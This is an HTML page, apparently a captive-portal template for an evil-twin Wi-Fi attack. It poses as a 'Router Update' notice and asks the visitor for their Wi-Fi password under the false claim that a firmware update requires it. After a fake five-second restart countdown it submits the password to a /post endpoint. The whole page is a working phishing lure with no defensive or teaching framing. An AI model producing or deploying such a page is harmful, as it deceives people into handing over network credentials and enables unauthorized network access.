<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Router Update</title>
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background-color: #d3d3d3; /* Cinza mais escuro */
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            padding: 10px;
            box-sizing: border-box;
        }
        .container {
            background-color: white;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 0 15px rgba(0, 0, 0, 0.2);
            text-align: center;
            max-width: 360px;
            width: 100%;
        }
        .container svg {
            width: 70px;
            height: 70px;
            fill: #ff1744; /* Cor de alerta */
            margin-bottom: 20px;
        }
        h1 {
            color: #333;
            font-size: 22px;
            margin-bottom: 15px;
        }
        p {
            color: #666;
            font-size: 15px;
            margin-bottom: 20px;
        }
        input[type="password"] {
            width: 100%;
            padding: 12px;
            margin: 10px 0;
            border-radius: 5px;
            border: 1px solid #ccc;
            font-size: 16px;
            box-sizing: border-box;
        }
        button {
            width: 100%;
            padding: 12px;
            background-color: #007bff;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 16px;
            transition: background-color 0.3s;
        }
        button:hover {
            background-color: #0056b3;
        }
        div#success-block{
            display: none;
            text-align: center;
            min-height: 60px;
            margin-bottom: 30px;
            justify-content: center;
            align-items: center;
        }
    </style>
</head>
<body>
    <div class="container">
        <!-- Ícone No Signal em SVG -->
        <svg xmlns="http://www.w3.org/2000/svg" fill="#000000" width="800px" height="800px" viewBox="0 -1 26 26">
            <path fill-opacity=".3" d="M24.24 8l1.35-1.68C25.1 5.96 20.26 2 13 2S.9 5.96.42 6.32l12.57 15.66.01.02.01-.01L20 13.28V8h4.24z"/>
            <path d="M22 22h2v-2h-2v2zm0-12v8h2v-8h-2z"/>
        </svg>

        <h1>Router Update</h1>
        <div id='form-block'>
            <p>Router firmware update required. Enter your Wi-Fi password to update.</p>
            <form id='submit-form' action="/post">
                <input type="password" name="password" placeholder="Wi-Fi network password" required>
                <button type="submit">Update</button>
            </form>
        </div>
        <div id='success-block'>
            <p>The router will restart in <span id="span-count" style="font-weight: bolder;">5</span></p>
        </div>
    </div>

    <script>
      document.getElementById('submit-form').addEventListener('submit', function(event) {
        event.preventDefault();

        document.getElementById('success-block').style.display = 'flex';
        document.getElementById('form-block').style.display = 'none';

        setInterval(function() {
            index = parseInt(document.getElementById('span-count').textContent)
            if (index > 1) {
                document.getElementById('span-count').textContent = index-1;
                index--;
            } else {
                document.getElementById('submit-form').submit();
            }
        }, 1000);
      });
    </script>
</body>
</html>
